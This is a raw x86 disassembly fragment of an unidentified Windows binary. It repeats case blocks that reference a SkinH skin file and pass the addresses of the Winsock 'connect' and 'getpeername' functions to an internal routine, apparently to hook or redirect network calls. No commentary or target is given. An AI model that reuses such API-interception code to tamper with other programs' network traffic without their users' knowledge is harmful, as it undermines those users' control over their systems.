push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45f3d3
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45f3f2
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45f415
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x46
jne 0x45f4a8
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45f461
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45f480
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45f4a3
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x47
jne 0x45f536
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45f4ef
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45f50e
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45f531
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x48
jne 0x45f5c4
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45f57d
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45f59c
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45f5bf
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x49
jne 0x45f652
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45f60b
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45f62a
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45f64d
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x4a
jne 0x45f6db
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45f699
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45f6b8
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45f6db
push ebx
call fcn.006b847e
add esp, 4
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45f718
push ebx
call fcn.006b847e
add esp, 4
mov dword [ebp - 0x10], esp
push 0x7f4ecd
push dword [ebp - 0xc]
mov eax, 2
call fcn.006b84b4
cmp dword [ebp - 0x10], esp
je 0x45f73f
push 6
call fcn.006b849c
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45f74f
push ebx
call fcn.006b847e
add esp, 4
call fcn.0045f805
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45f791
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45f7a4
mov eax, 0x7f4ecd
push eax
push 1
mov ebx, 0x6bbac0
call fcn.006b8490
add esp, 0x10
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45f7c7
push ebx
call fcn.006b847e
add esp, 4
mov eax, 0xa
jmp 0x45f7ff
mov dword [ebp - 8], esp
mov eax, 1
call fcn.006b84b4
cmp dword [ebp - 8], esp
je 0x45f7f5
push 6
call fcn.006b849c
add esp, 4
mov eax, 0xd
jmp 0x45f7ff
mov esp, ebp
pop ebp
ret 4